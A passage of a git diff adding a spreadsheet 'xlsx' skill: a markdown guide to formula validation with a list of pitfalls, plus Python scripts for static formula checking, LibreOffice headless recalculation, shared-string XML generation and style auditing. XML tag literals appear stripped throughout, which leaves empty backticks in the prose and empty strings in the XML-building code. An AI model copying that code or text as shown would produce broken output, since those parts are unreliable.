+```bash +# Step 1: Static scan — find all error cells +python3 SKILL_DIR/scripts/formula_check.py /path/to/user_file.xlsx --json > /tmp/validation_results.json + +# Step 2: Unpack for manual inspection +python3 SKILL_DIR/scripts/xlsx_unpack.py /path/to/user_file.xlsx /tmp/xlsx_inspect/ + +# Step 3: Dynamic recalculation +python3 SKILL_DIR/scripts/libreoffice_recalc.py /path/to/user_file.xlsx /tmp/user_file_recalc.xlsx + +# Step 4: Re-validate recalculated file +python3 SKILL_DIR/scripts/formula_check.py /tmp/user_file_recalc.xlsx --json > /tmp/validation_after_recalc.json + +# Step 5: Compare before and after +python3 - <<'EOF' +import json +before = json.load(open("/tmp/validation_results.json")) +after = json.load(open("/tmp/validation_after_recalc.json")) +print(f"Before recalc: {before['error_count']} errors") +print(f"After recalc: {after['error_count']} errors") +EOF +``` + +If errors appear only after recalculation (not in the original static scan), the formulas were syntactically correct but produce wrong results at runtime. These are runtime errors that require formula-level fixes, not XML-structure fixes. + +If errors appear in both scans, they were already cached in `` before recalculation — the file was previously opened by Excel/LibreOffice and the errors persisted. + +--- + +## Critical Pitfalls + +**Pitfall 1: openpyxl `data_only=True` destroys formulas.** +Opening a workbook with `data_only=True` reads cached values instead of formulas. If you then save the workbook, all `` elements are permanently removed and replaced with their last-cached values. Never use this mode for validation workflows. + +**Pitfall 2: Empty `` is not the same as a passing formula.** +A freshly generated file has empty `` elements for all formula cells. formula_check.py will not report these as errors — they are not yet errors. They become errors only after recalculation if the calculated value is an error type. This is why Tier 2 is mandatory. + +**Pitfall 3: Shared formula errors affect the entire range.** +If a shared formula's primary cell has a broken reference, every cell in the shared range (`ref="D2:D100"`) inherits that broken reference. The count of logical errors can be much larger than the count of distinct error entries in formula_check.py output. When fixing a broken shared formula, fix the primary cell's `` element; the consumers (``) automatically inherit the corrected formula. + +**Pitfall 4: Sheet names are case-sensitive.** +`=q1!B5` and `=Q1!B5` are different references. Excel internally treats them the same, but formula_check.py's string comparison is case-sensitive. If a formula uses a lowercase sheet name that matches an uppercase sheet in the workbook, it will be flagged as a broken reference. The fix is to match the exact case in `workbook.xml`. + +**Pitfall 5: `--convert-to xlsx` does not guarantee formula preservation.** +LibreOffice's conversion can occasionally alter certain formula types (array formulas, dynamic array functions like `SORT`, `UNIQUE`). After Tier 2, if the recalculated file shows formula changes unrelated to error fixing, do not deliver the recalculated file directly — use the original file with targeted XML fixes instead. diff --git a/skills/minimax-xlsx/scripts/formula_check.py b/skills/minimax-xlsx/scripts/formula_check.py new file mode 100644 index 0000000..ee3ce15 --- /dev/null +++ b/skills/minimax-xlsx/scripts/formula_check.py @@ -0,0 +1,422 @@ +#!/usr/bin/env python3 +# SPDX-License-Identifier: MIT +""" +formula_check.py — Static formula validator for xlsx files. + +Usage: + python3 formula_check.py + python3 formula_check.py --json # machine-readable output + python3 formula_check.py --report # standardized validation report (JSON) + python3 formula_check.py --report -o out # report to file + python3 formula_check.py --sheet Sales # limit to one sheet + python3 formula_check.py --summary # error counts only, no details + +What it checks: +1. Error-value cells: #REF! — all 7 Excel error types +2. Broken cross-sheet references: formula references a sheet not in workbook.xml +3. Broken named-range references: formula references a name not in workbook.xml +4. Shared formula integrity: shared formula primary cell exists and has formula text +5. Missing on t="e" cells (malformed XML) + +Checks NOT performed (require dynamic recalculation): +- Runtime errors that only appear after formulas execute (#DIV/0! on empty denominator, etc.) + -> Use libreoffice_recalc.py + re-run formula_check.py for dynamic validation + +Exit code: + 0 — no errors found + 1 — errors detected (or file cannot be opened) +""" + +import sys +import zipfile +import xml.etree.ElementTree as ET +import re +import json + +# OOXML SpreadsheetML namespace +NS = "http://schemas.openxmlformats.org/spreadsheetml/2006/main" +NSP = f"{{{NS}}}" + +# All 7 standard Excel formula error types +EXCEL_ERRORS = {"#REF!", "#DIV/0!", "#VALUE!", "#NAME?", "#NULL!", "#NUM!", "#N/A"} + +# Excel built-in function names (subset of common ones) — used for #NAME? heuristic +# Full list: https://support.microsoft.com/en-us/office/excel-functions-alphabetical +_BUILTIN_FUNCTIONS = { + "ABS", "AND", "AVERAGE", "AVERAGEIF", "AVERAGEIFS", "CEILING", "CHOOSE", + "COUNTA", "COUNTIF", "COUNTIFS", "COUNT", "DATE", "EDATE", "EOMONTH", + "FALSE", "FILTER", "FIND", "FLOOR", "IF", "IFERROR", "IFNA", "IFS", + "INDEX", "INDIRECT", "INT", "IRR", "ISBLANK", "ISERROR", "ISNA", "ISNUMBER", + "LARGE", "LEFT", "LEN", "LOOKUP", "LOWER", "MATCH", "MAX", "MID", "MIN", + "MOD", "MONTH", "NETWORKDAYS", "NOT", "NOW", "NPV", "OFFSET", "OR", + "PMT", "PV", "RAND", "RANK", "RIGHT", "ROUND", "ROUNDDOWN", "ROUNDUP", + "ROW", "ROWS", "SEARCH", "SMALL", "SORT", "SQRT", "SUBSTITUTE", "SUM", + "SUMIF", "SUMIFS", "SUMPRODUCT", "TEXT", "TODAY", "TRANSPOSE", "TRIM", + "TRUE", "UNIQUE", "UPPER", "VALUE", "VLOOKUP", "HLOOKUP", "XLOOKUP", + "XMATCH", "XNPV", "XIRR", "YEAR", "YEARFRAC", +} + + +def get_sheet_names(z: zipfile.ZipFile) -> dict[str, str]: + """Return dict of {r:id -> sheet_name} from workbook.xml.""" + wb_xml = z.read("xl/workbook.xml") + wb = ET.fromstring(wb_xml) + rel_ns = "http://schemas.openxmlformats.org/officeDocument/2006/relationships" + sheets = {} + for sheet in wb.findall(f".//{NSP}sheet"): + name = sheet.get("name", "") + rid = sheet.get(f"{{{rel_ns}}}id", "") + sheets[rid] = name + return sheets + + +def get_defined_names(z: zipfile.ZipFile) -> set[str]: + """Return set of named ranges defined in workbook.xml .""" + wb_xml = z.read("xl/workbook.xml") + wb = ET.fromstring(wb_xml) + names = set() + for dn in wb.findall(f".//{NSP}definedName"): + n = dn.get("name", "") + if n: + names.add(n) + return names + + +def get_sheet_files(z: zipfile.ZipFile) -> dict[str, str]: + """Return dict of {r:id -> xl/worksheets/sheetN.xml} from workbook.xml.rels.""" + rels_xml = z.read("xl/_rels/workbook.xml.rels") + rels = ET.fromstring(rels_xml) + mapping = {} + for rel in rels: + rid = rel.get("Id", "") + target = rel.get("Target", "") + if "worksheets" in target: + # Target may be relative: "worksheets/sheet1.xml" -> "xl/worksheets/sheet1.xml" + if not target.startswith("xl/"): + target = "xl/" + target + mapping[rid] = target + return mapping + + +def extract_sheet_refs(formula: str) -> list[str]: + """ + Extract all sheet names referenced in a formula string. + + Handles: + - 'Sheet Name'!A1 (quoted, may contain spaces) + - SheetName!A1 (unquoted, no spaces) + + Returns a list of sheet name strings (may contain duplicates if the same + sheet is referenced multiple times in one formula). + """ + refs = [] + # Quoted sheet names: 'Sheet Name'! + for m in re.finditer(r"'([^']+)'!", formula): + refs.append(m.group(1)) + # Unquoted sheet names: SheetName! (not preceded by a single quote) + for m in re.finditer(r"(? list[str]: + """ + Extract identifiers in a formula that could be named range references. + + Heuristic: identifiers that: + - Are not preceded by a sheet reference (no "!" before them) + - Are not followed by "(" (which would make them function calls) + - Match the pattern of a name (letters/underscore start, alphanumeric/underscore body) + - Are not single-letter column references or row references + + This is approximate. False positives are possible; false negatives are rare. + """ + names = [] + # Remove quoted sheet references first to avoid false matches + formula_clean = re.sub(r"'[^']*'![A-Z$0-9:]+", "", formula) + formula_clean = re.sub(r"[A-Za-z_][A-Za-z0-9_.]*![A-Z$0-9:]+", "", formula_clean) + # Find identifiers not followed by "(" (not function calls) + for m in re.finditer(r"\b([A-Za-z_][A-Za-z0-9_]{2,})\b(?!\s*\()", formula_clean): + candidate = m.group(1) + # Exclude Excel cell references like A1, B10, AA100 + if re.fullmatch(r"[A-Z]{1,3}[0-9]+", candidate): + continue + # Exclude built-in function names (they appear without parens sometimes in array formulas) + if candidate.upper() in _BUILTIN_FUNCTIONS: + continue + names.append(candidate) + return names + + +def check(xlsx_path: str, sheet_filter: str | None = None) -> dict: + """ + Run all static checks on the given xlsx file. + + Args: + xlsx_path: path to the .xlsx file + sheet_filter: if provided, only check the sheet with this name + + Returns: + A dict with keys: + file, sheets_checked, formula_count, shared_formula_ranges, + error_count, errors + """ + results = { + "file": xlsx_path, + "sheets_checked": [], + "formula_count": 0, + "shared_formula_ranges": 0, # number of shared formula definitions + "error_count": 0, + "errors": [], + } + + try: + z = zipfile.ZipFile(xlsx_path, "r") + except (zipfile.BadZipFile, FileNotFoundError) as e: + results["errors"].append({"type": "file_error", "message": str(e)}) + results["error_count"] = 1 + return results + + with z: + sheet_names = get_sheet_names(z) + sheet_files = get_sheet_files(z) + valid_sheet_names = set(sheet_names.values()) + defined_names = get_defined_names(z) + + for rid, sheet_name in sheet_names.items(): + # Apply sheet filter if requested + if sheet_filter and sheet_name != sheet_filter: + continue + + ws_file = sheet_files.get(rid) + if not ws_file or ws_file not in z.namelist(): + continue + + results["sheets_checked"].append(sheet_name) + ws_xml = z.read(ws_file) + ws = ET.fromstring(ws_xml) + + # Track shared formula IDs seen on this sheet (si -> primary cell ref) + shared_primary: dict[str, str] = {} + + for cell in ws.findall(f".//{NSP}c"): + cell_ref = cell.get("r", "?") + cell_type = cell.get("t", "n") + + # ── Check 1: error-value cell ────────────────────────────── + if cell_type == "e": + v_elem = cell.find(f"{NSP}v") + if v_elem is None: + # Malformed: t="e" but no — record as structural issue + results["errors"].append( + { + "type": "malformed_error_cell", + "sheet": sheet_name, + "cell": cell_ref, + "detail": "Cell has t='e' but no child element", + } + ) + results["error_count"] += 1 + else: + error_val = v_elem.text or "#UNKNOWN" + f_elem = cell.find(f"{NSP}f") + results["errors"].append( + { + "type": "error_value", + "error": error_val, + "sheet": sheet_name, + "cell": cell_ref, + # Include formula text if present + "formula": f_elem.text if (f_elem is not None and f_elem.text) else None, + } + ) + results["error_count"] += 1 + + # ── Check 2 & 3: formulas ────────────────────────────────── + f_elem = cell.find(f"{NSP}f") + if f_elem is None: + continue + + f_type = f_elem.get("t", "") # "shared", "array", or "" for normal + f_si = f_elem.get("si") # shared formula group ID + + # Count formulas: + # - Normal formulas: always count + # - Shared formula PRIMARY (has text + ref attribute): count once + # - Shared formula CONSUMER (si only, no text): do NOT count separately + # (they are covered by the primary's ref range) + if f_type == "shared" and f_elem.text is None: + # Consumer cell: skip formula counting and cross-ref checks + # (the primary cell already covers this formula) + continue + + formula = f_elem.text or "" + + if f_type == "shared" and f_elem.get("ref"): + results["shared_formula_ranges"] += 1 + if f_si is not None: + shared_primary[f_si] = cell_ref + + if formula: + results["formula_count"] += 1 + + # Check 2: cross-sheet references + for ref_sheet in extract_sheet_refs(formula): + if ref_sheet not in valid_sheet_names: + results["errors"].append( + { + "type": "broken_sheet_ref", + "sheet": sheet_name, + "cell": cell_ref, + "formula": formula, + "missing_sheet": ref_sheet, + "valid_sheets": sorted(valid_sheet_names), + } + ) + results["error_count"] += 1 + + # Check 3: named range references + # Only flag if the name is not a built-in and not a sheet-prefixed ref + for name_ref in extract_name_refs(formula): + if name_ref not in defined_names: + results["errors"].append( + { + "type": "unknown_name_ref", + "sheet": sheet_name, + "cell": cell_ref, + "formula": formula, + "unknown_name": name_ref, + "defined_names": sorted(defined_names), + "note": "Heuristic check — verify manually if this is a false positive", + } + ) + results["error_count"] += 1 + + return results + + +def build_report(results: dict) -> dict: + """ + Transform raw check() output into a standardized validation report. + + Usage: + python3 formula_check.py --report # JSON report to stdout + python3 formula_check.py --report -o out # JSON report to file + """ + from collections import Counter + + errors = results.get("errors", []) + error_types = [e.get("error", e.get("type", "unknown")) for e in errors] + + return { + "status": "success" if results["error_count"] == 0 else "errors_found", + "file": results["file"], + "sheets_checked": results["sheets_checked"], + "total_formulas": results["formula_count"], + "total_errors": results["error_count"], + "shared_formula_ranges": results.get("shared_formula_ranges", 0), + "errors_by_type": dict(Counter(error_types)) if errors else {}, + "errors": errors, + } + + +def main() -> None: + use_json = "--json" in sys.argv + use_report = "--report" in sys.argv + summary_only = "--summary" in sys.argv + output_file = None + sheet_filter = None + args_clean = [] + + i = 1 + while i < len(sys.argv): + arg = sys.argv[i] + if arg == "--sheet" and i + 1 < len(sys.argv): + sheet_filter = sys.argv[i + 1] + i += 2 + elif arg == "-o" and i + 1 < len(sys.argv): + output_file = sys.argv[i + 1] + i += 2 + elif arg.startswith("--"): + i += 1 # skip flags already handled + else: + args_clean.append(arg) + i += 1 + + if not args_clean: + print("Usage: formula_check.py [--json] [--report [-o FILE]] [--sheet NAME] [--summary]") + sys.exit(1) + + results = check(args_clean[0], sheet_filter=sheet_filter) + + if use_report: + report = build_report(results) + output = json.dumps(report, indent=2, ensure_ascii=False) + if output_file: + with open(output_file, "w", encoding="utf-8") as f: + f.write(output + "\n") + else: + print(output) + sys.exit(1 if results["error_count"] > 0 else 0) + + if use_json: + print(json.dumps(results, indent=2, ensure_ascii=False)) + sys.exit(1 if results["error_count"] > 0 else 0) + + # Human-readable output + sheets = ", ".join(results["sheets_checked"]) or "(none)" + if sheet_filter: + sheets = f"{sheet_filter} (filtered)" + + print(f"File : {results['file']}") + print(f"Sheets : {sheets}") + print(f"Formulas checked : {results['formula_count']} distinct formula cells") + print(f"Shared formula ranges : {results['shared_formula_ranges']} ranges") + print(f"Errors found : {results['error_count']}") + + if not summary_only and results["errors"]: + print("\n── Error Details ──") + for e in results["errors"]: + if e["type"] == "error_value": + formula_hint = f" (formula: {e['formula']})" if e.get("formula") else "" + print(f" [FAIL] [{e['sheet']}!{e['cell']}] contains {e['error']}{formula_hint}") + elif e["type"] == "broken_sheet_ref": + print( + f" [FAIL] [{e['sheet']}!{e['cell']}] references missing sheet " + f"'{e['missing_sheet']}'" + ) + print(f" Formula: {e['formula']}") + print(f" Valid sheets: {e.get('valid_sheets', [])}") + elif e["type"] == "unknown_name_ref": + print( + f" [WARN] [{e['sheet']}!{e['cell']}] uses unknown name " + f"'{e['unknown_name']}' (heuristic — verify manually)" + ) + print(f" Formula: {e['formula']}") + print(f" Defined names: {e.get('defined_names', [])}") + elif e["type"] == "malformed_error_cell": + print(f" [FAIL] [{e['sheet']}!{e['cell']}] malformed error cell: {e['detail']}") + elif e["type"] == "file_error": + print(f" [FAIL] File error: {e['message']}") + print() + + if results["error_count"] == 0: + print("PASS — No formula errors detected") + else: + # Separate definitive failures from heuristic warnings + hard_errors = [e for e in results["errors"] if e["type"] != "unknown_name_ref"] + warnings = [e for e in results["errors"] if e["type"] == "unknown_name_ref"] + if hard_errors: + print(f"FAIL — {len(hard_errors)} error(s) must be fixed before delivery") + if warnings: + print(f"WARN — {len(warnings)} heuristic warning(s) require manual review") + sys.exit(1) + else: + # Only heuristic warnings — do not block delivery but alert + print(f"PASS with WARN — {len(warnings)} heuristic warning(s) require manual review") + # Exit 0: heuristic warnings alone do not block delivery + sys.exit(0) + + +if __name__ == "__main__": + main() diff --git a/skills/minimax-xlsx/scripts/libreoffice_recalc.py b/skills/minimax-xlsx/scripts/libreoffice_recalc.py new file mode 100644 index 0000000..5699e89 --- /dev/null +++ b/skills/minimax-xlsx/scripts/libreoffice_recalc.py @@ -0,0 +1,248 @@ +#!/usr/bin/env python3 +# SPDX-License-Identifier: MIT +""" +libreoffice_recalc.py — Tier 2 dynamic formula recalculation via LibreOffice headless. + +Opens the xlsx file with the LibreOffice Calc engine, executes all formulas, writes +the computed values into the cache elements, and saves the result. This is the +closest server-side equivalent of "open in Excel and save." + +After recalculation, run formula_check.py on the output file to detect runtime errors +(#DIV/0!, #N/A, etc.) that only surface after actual computation. + +Usage: + python3 libreoffice_recalc.py input.xlsx output.xlsx + python3 libreoffice_recalc.py input.xlsx output.xlsx --timeout 90 + python3 libreoffice_recalc.py --check # check LibreOffice availability only + +Exit codes: + 0 — recalculation succeeded, output file written + 2 — LibreOffice not found (Tier 2 unavailable — not a hard failure, note in report) + 1 — LibreOffice found but recalculation failed (timeout, crash, bad file) +""" + +import subprocess +import sys +import shutil +import os +import tempfile +import argparse + + +# ── LibreOffice discovery ─────────────────────────────────────────────────── + +def find_soffice() -> str | None: + """ + Locate the soffice (LibreOffice) binary. + + Search order: + 1. macOS application bundle (default install location) + 2. PATH lookup for 'soffice' + 3. PATH lookup for 'libreoffice' (common on Linux) + """ + candidates = [ + "/Applications/LibreOffice.app/Contents/MacOS/soffice", # macOS + "soffice", # Linux / macOS if on PATH + "libreoffice", # alternative Linux name + ] + for c in candidates: + # shutil.which handles PATH lookup; also check absolute paths directly + found = shutil.which(c) + if found: + return found + if os.path.isfile(c) and os.access(c, os.X_OK): + return c + return None + + +def get_libreoffice_version(soffice: str) -> str: + """Return LibreOffice version string, or 'unknown' on failure.""" + try: + result = subprocess.run( + [soffice, "--version"], + capture_output=True, + timeout=10, + ) + return result.stdout.decode(errors="replace").strip() + except Exception: + return "unknown" + + +# ── Recalculation ─────────────────────────────────────────────────────────── + +def recalculate( + input_path: str, + output_path: str, + timeout: int = 60, +) -> tuple[bool, str]: + """ + Run LibreOffice headless recalculation on input_path, write result to output_path. + + Returns: + (success: bool, message: str) + + The message explains what happened (success or failure reason). + """ + soffice = find_soffice() + if not soffice: + return False, ( + "LibreOffice not found. Tier 2 validation is unavailable in this environment. " + "Install LibreOffice to enable dynamic formula recalculation.\n" + " macOS: brew install --cask libreoffice\n" + " Linux: sudo apt-get install -y libreoffice" + ) + + version = get_libreoffice_version(soffice) + + # Work on a copy in a temp directory to avoid side effects on the source file. + # LibreOffice writes the output using the same filename stem in --outdir. + with tempfile.TemporaryDirectory(prefix="xlsx_recalc_") as tmpdir: + tmp_input = os.path.join(tmpdir, os.path.basename(input_path)) + shutil.copy(input_path, tmp_input) + + cmd = [ + soffice, + "--headless", + "--norestore", # do not attempt to restore crashed sessions + "--infilter=Calc MS Excel 2007 XML", + "--convert-to", "xlsx", + "--outdir", tmpdir, + tmp_input, + ] + + try: + result = subprocess.run( + cmd, + capture_output=True, + timeout=timeout, + ) + except subprocess.TimeoutExpired: + return False, ( + f"LibreOffice timed out after {timeout}s. " + "The file may be too large or contain constructs that cause LibreOffice to hang. " + "Try increasing --timeout or simplify the file." + ) + except FileNotFoundError: + return False, f"LibreOffice binary not executable: {soffice}" + + if result.returncode != 0: + stderr = result.stderr.decode(errors="replace").strip() + stdout = result.stdout.decode(errors="replace").strip() + return False, ( + f"LibreOffice exited with code {result.returncode}.\n" + f"stderr: {stderr}\n" + f"stdout: {stdout}" + ) + + # LibreOffice writes: /.xlsx + stem = os.path.splitext(os.path.basename(tmp_input))[0] + tmp_output = os.path.join(tmpdir, stem + ".xlsx") + + if not os.path.isfile(tmp_output): + # Try to find any .xlsx file in tmpdir (LibreOffice may behave differently) + xlsx_files = [f for f in os.listdir(tmpdir) if f.endswith(".xlsx") and f != os.path.basename(tmp_input)] + if xlsx_files: + tmp_output = os.path.join(tmpdir, xlsx_files[0]) + else: + stdout = result.stdout.decode(errors="replace").strip() + return False, ( + f"LibreOffice succeeded (exit 0) but output file not found in {tmpdir}.\n" + f"stdout: {stdout}\n" + f"Files in tmpdir: {os.listdir(tmpdir)}" + ) + + # Copy recalculated file to final destination + os.makedirs(os.path.dirname(os.path.abspath(output_path)), exist_ok=True) + shutil.copy(tmp_output, output_path) + + return True, f"Recalculation complete. LibreOffice {version}. Output: {output_path}" + + +# ── CLI ───────────────────────────────────────────────────────────────────── + +def main() -> None: + parser = argparse.ArgumentParser( + description="LibreOffice headless formula recalculation for xlsx files.", + formatter_class=argparse.RawDescriptionHelpFormatter, + epilog=""" +Examples: + # Basic recalculation + python3 libreoffice_recalc.py report.xlsx report_recalc.xlsx + + # With extended timeout for large files + python3 libreoffice_recalc.py big_model.xlsx big_model_recalc.xlsx --timeout 120 + + # Check if LibreOffice is available (useful in CI) + python3 libreoffice_recalc.py --check + + # Full validation pipeline + python3 libreoffice_recalc.py input.xlsx /tmp/recalc.xlsx && \\ + python3 formula_check.py /tmp/recalc.xlsx +""", + ) + parser.add_argument("input", nargs="?", help="Input xlsx file path") + parser.add_argument("output", nargs="?", help="Output xlsx file path (recalculated)") + parser.add_argument( + "--timeout", + type=int, + default=60, + metavar="SECONDS", + help="Maximum time to wait for LibreOffice (default: 60)", + ) + parser.add_argument( + "--check", + action="store_true", + help="Only check if LibreOffice is available, then exit", + ) + + args = parser.parse_args() + + # ── --check mode ───────────────────────────────────────────────────────── + if args.check: + soffice = find_soffice() + if soffice: + version = get_libreoffice_version(soffice) + print(f"LibreOffice available: {soffice}") + print(f"Version: {version}") + sys.exit(0) + else: + print("LibreOffice NOT available.") + print("Tier 2 dynamic validation requires LibreOffice.") + print(" macOS: brew install --cask libreoffice") + print(" Linux: sudo apt-get install -y libreoffice") + sys.exit(2) + + # ── Recalculation mode ──────────────────────────────────────────────────── + if not args.input or not args.output: + parser.print_help() + sys.exit(1) + + if not os.path.isfile(args.input): + print(f"ERROR: Input file not found: {args.input}") + sys.exit(1) + + print(f"Input : {args.input}") + print(f"Output : {args.output}") + print(f"Timeout: {args.timeout}s") + print() + + success, message = recalculate(args.input, args.output, timeout=args.timeout) + + if success: + print(f"OK: {message}") + print() + print("Next step: run formula_check.py on the recalculated file to detect runtime errors:") + print(f" python3 formula_check.py {args.output}") + sys.exit(0) + else: + # Distinguish "not installed" (exit 2) from "failed" (exit 1) + if "not found" in message.lower() or "not available" in message.lower(): + print(f"SKIP (Tier 2 unavailable): {message}") + sys.exit(2) + else: + print(f"ERROR: {message}") + sys.exit(1) + + +if __name__ == "__main__": + main() diff --git a/skills/minimax-xlsx/scripts/shared_strings_builder.py b/skills/minimax-xlsx/scripts/shared_strings_builder.py new file mode 100644 index 0000000..9ef3599 --- /dev/null +++ b/skills/minimax-xlsx/scripts/shared_strings_builder.py @@ -0,0 +1,163 @@ +#!/usr/bin/env python3 +# SPDX-License-Identifier: MIT +""" +shared_strings_builder.py — Generate a valid sharedStrings.xml from a list of strings. + +Usage (strings as command-line arguments): + python3 shared_strings_builder.py "Revenue" "Cost" "Gross Profit" > sharedStrings.xml + +Usage (strings from a file, one per line): + python3 shared_strings_builder.py --file strings.txt > sharedStrings.xml + +Usage (print index table instead of XML, for reference): + python3 shared_strings_builder.py --index "Revenue" "Cost" "Gross Profit" + python3 shared_strings_builder.py --index --file strings.txt + +Output format: + Valid xl/sharedStrings.xml written to stdout. + Redirect to the correct path: + python3 shared_strings_builder.py "A" "B" > /tmp/xlsx_work/xl/sharedStrings.xml + +Notes: + - Strings are de-duplicated: identical strings appear only once in the table. + - The 'count' attribute equals the number of unique strings (appropriate for new files + where each string is used in exactly one cell). If a string appears in multiple cells, + manually increment 'count' by the number of extra references. + - Special characters (&, <, >) are automatically XML-escaped. + - Leading/trailing spaces are preserved with xml:space="preserve". +""" + +import sys +import html +import argparse + + +HEADER = '' +SST_NS = "http://schemas.openxmlformats.org/spreadsheetml/2006/main" + + +def escape_text(s: str) -> tuple[str, bool]: + """ + Return (escaped_text, needs_preserve). + needs_preserve is True if the string has leading or trailing whitespace. + """ + escaped = html.escape(s, quote=False) + needs_preserve = s != s.strip() + return escaped, needs_preserve + + +def build_xml(strings: list[str]) -> str: + """Build sharedStrings.xml content from a list of unique strings.""" + n = len(strings) + lines = [ + HEADER, + f'', + ] + for i, s in enumerate(strings): + escaped, preserve = escape_text(s) + if preserve: + lines.append(f' {escaped}' + f' ') + else: + lines.append(f' {escaped} ') + lines.append("") + return "\n".join(lines) + "\n" + + +def build_index_table(strings: list[str]) -> str: + """Return a human-readable index table (for agent reference, not written to file).""" + lines = [ + f"{'Index':<6} String", + "-" * 50, + ] + for i, s in enumerate(strings): + lines.append(f"{i:<6} {s!r}") + lines.append("") + lines.append( + f"Total: {len(strings)} unique strings. " + "Use these indices in N cells." + ) + return "\n".join(lines) + "\n" + + +def deduplicate(strings: list[str]) -> list[str]: + """Remove duplicates while preserving first-occurrence order.""" + seen: set[str] = set() + result: list[str] = [] + for s in strings: + if s not in seen: + seen.add(s) + result.append(s) + return result + + +def load_from_file(path: str) -> list[str]: + """Read one string per non-empty line from a file.""" + with open(path, encoding="utf-8") as f: + return [line.rstrip("\n") for line in f if line.strip()] + + +def main() -> None: + parser = argparse.ArgumentParser( + description="Generate xl/sharedStrings.xml from a list of strings.", + formatter_class=argparse.RawDescriptionHelpFormatter, + epilog=__doc__, + ) + parser.add_argument( + "strings", + nargs="*", + metavar="STRING", + help="String values to include in the shared string table.", + ) + parser.add_argument( + "--file", + "-f", + metavar="PATH", + help="Read strings from a file (one string per line) instead of arguments.", + ) + parser.add_argument( + "--index", + action="store_true", + help="Print a human-readable index table instead of XML output.", + ) + args = parser.parse_args() + + if args.file: + try: + raw = load_from_file(args.file) + except FileNotFoundError: + print(f"ERROR: File not found: {args.file}", file=sys.stderr) + sys.exit(1) + except OSError as e: + print(f"ERROR: Cannot read file: {e}", file=sys.stderr) + sys.exit(1) + else: + raw = list(args.strings) + + if not raw: + print( + "ERROR: No strings provided.\n" + "Usage: shared_strings_builder.py \"String1\" \"String2\" ...\n" + " or: shared_strings_builder.py --file strings.txt", + file=sys.stderr, + ) + sys.exit(1) + + strings = deduplicate(raw) + + if len(strings) < len(raw): + removed = len(raw) - len(strings) + print( + f"Note: {removed} duplicate(s) removed. " + f"{len(strings)} unique strings in table.", + file=sys.stderr, + ) + + if args.index: + print(build_index_table(strings)) + else: + print(build_xml(strings), end="") + + +if __name__ == "__main__": + main() diff --git a/skills/minimax-xlsx/scripts/style_audit.py b/skills/minimax-xlsx/scripts/style_audit.py new file mode 100644 index 0000000..96205f8 --- /dev/null +++ b/skills/minimax-xlsx/scripts/style_audit.py @@ -0,0 +1,575 @@ +#!/usr/bin/env python3 +# SPDX-License-Identifier: MIT +""" +style_audit.py — Financial formatting compliance checker for xlsx files. + +Audits an xlsx file (or an unpacked xlsx directory) and reports: +1. Style system integrity: count attributes match actual element counts +2. Color-role violations: formula cells with blue font, input cells with black font +3. Year-format violations: cells containing 4-digit years using comma-format +4. Percentage value violations: percentage-formatted cells with values > 1 (likely meant 0.08 not 8) +5. Style index out-of-range: s attribute exceeds cellXfs count +6. fills[0]/fills[1] presence check (OOXML spec requirement) + +Usage: + python3 style_audit.py input.xlsx # audit a packed xlsx + python3 style_audit.py /tmp/xlsx_work/ # audit an unpacked directory + python3 style_audit.py input.xlsx --json # machine-readable output + python3 style_audit.py input.xlsx --summary # counts only, no detail + +Exit code: + 0 — no violations found + 1 — violations detected (or file cannot be opened) +""" + +import sys +import os +import zipfile +import xml.etree.ElementTree as ET +import json +import re +import tempfile +import shutil + +NS = "http://schemas.openxmlformats.org/spreadsheetml/2006/main" +NSP = f"{{{NS}}}" + +# Predefined style index semantics from minimal_xlsx template. +# Maps cellXfs index -> (role, font_color_expectation, numFmt_type) +# role: "input" = blue expected, "formula" = black/green expected, "header" = any, "any" = skip +TEMPLATE_SLOT_ROLES = { + 0: ("any", None, None), + 1: ("input", "blue", "general"), + 2: ("formula", "black", "general"), + 3: ("formula", "green", "general"), + 4: ("any", None, "general"), # header + 5: ("input", "blue", "currency"), + 6: ("formula", "black", "currency"), + 7: ("input", "blue", "percent"), + 8: ("formula", "black", "percent"), + 9: ("input", "blue", "integer"), + 10: ("formula", "black", "integer"), + 11: ("input", "blue", "year"), + 12: ("input", "blue", "general"), # highlight +} + +# AARRGGBB values for each role color +BLUE_RGB = "000000ff" +BLACK_RGB = "00000000" +GREEN_RGB = "00008000" +RED_RGB = "00ff0000" + +# numFmtIds that represent percentage formats (built-in + common custom) +PERCENT_FMT_IDS = {9, 10, 165, 170} + +# numFmtIds that use comma separator (would corrupt year display) +COMMA_FMT_IDS = {3, 4, 167, 168} # #,##0 style — 4-digit years would show as 2,024 + + +def _parse_styles(styles_xml: bytes) -> dict: + """Parse styles.xml and return structured data.""" + root = ET.fromstring(styles_xml) + + def find(tag): + return root.find(f"{NSP}{tag}") + + # numFmts + num_fmts = {} # id -> formatCode + nf_elem = find("numFmts") + if nf_elem is not None: + declared_count = int(nf_elem.get("count", "0")) + actual_count = len(nf_elem) + for nf in nf_elem: + fid = int(nf.get("numFmtId", "0")) + num_fmts[fid] = nf.get("formatCode", "") + else: + declared_count = 0 + actual_count = 0 + + # fonts — extract color and bold flag + fonts = [] + fonts_elem = find("fonts") + fonts_declared = 0 + if fonts_elem is not None: + fonts_declared = int(fonts_elem.get("count", "0")) + for font in fonts_elem: + color_elem = font.find(f"{NSP}color") + bold_elem = font.find(f"{NSP}b") + if color_elem is not None: + rgb = color_elem.get("rgb", "").lower() + theme = color_elem.get("theme") + else: + rgb = "" + theme = None + fonts.append({ + "rgb": rgb, + "theme": theme, + "bold": bold_elem is not None, + }) + + # fills + fills = [] + fills_elem = find("fills") + fills_declared = 0 + if fills_elem is not None: + fills_declared = int(fills_elem.get("count", "0")) + for fill in fills_elem: + pf = fill.find(f"{NSP}patternFill") + pattern_type = pf.get("patternType", "") if pf is not None else "" + fills.append({"patternType": pattern_type}) + + # cellXfs + xfs = [] + xfs_elem = find("cellXfs") + xfs_declared = 0 + if xfs_elem is not None: + xfs_declared = int(xfs_elem.get("count", "0")) + for xf in xfs_elem: + xfs.append({ + "numFmtId": int(xf.get("numFmtId", "0")), + "fontId": int(xf.get("fontId", "0")), + "fillId": int(xf.get("fillId", "0")), + "borderId": int(xf.get("borderId", "0")), + }) + + return { + "num_fmts": num_fmts, + "num_fmts_declared": declared_count, + "num_fmts_actual": actual_count, + "fonts": fonts, + "fonts_declared": fonts_declared, + "fonts_actual": len(fonts), + "fills": fills, + "fills_declared": fills_declared, + "fills_actual": len(fills), + "xfs": xfs, + "xfs_declared": xfs_declared, + "xfs_actual": len(xfs), + } + + +def _is_blue_font(font: dict) -> bool: + return font["rgb"] == BLUE_RGB + + +def _is_black_font(font: dict) -> bool: + return font["rgb"] == BLACK_RGB or (font["rgb"] == "" and font["theme"] is 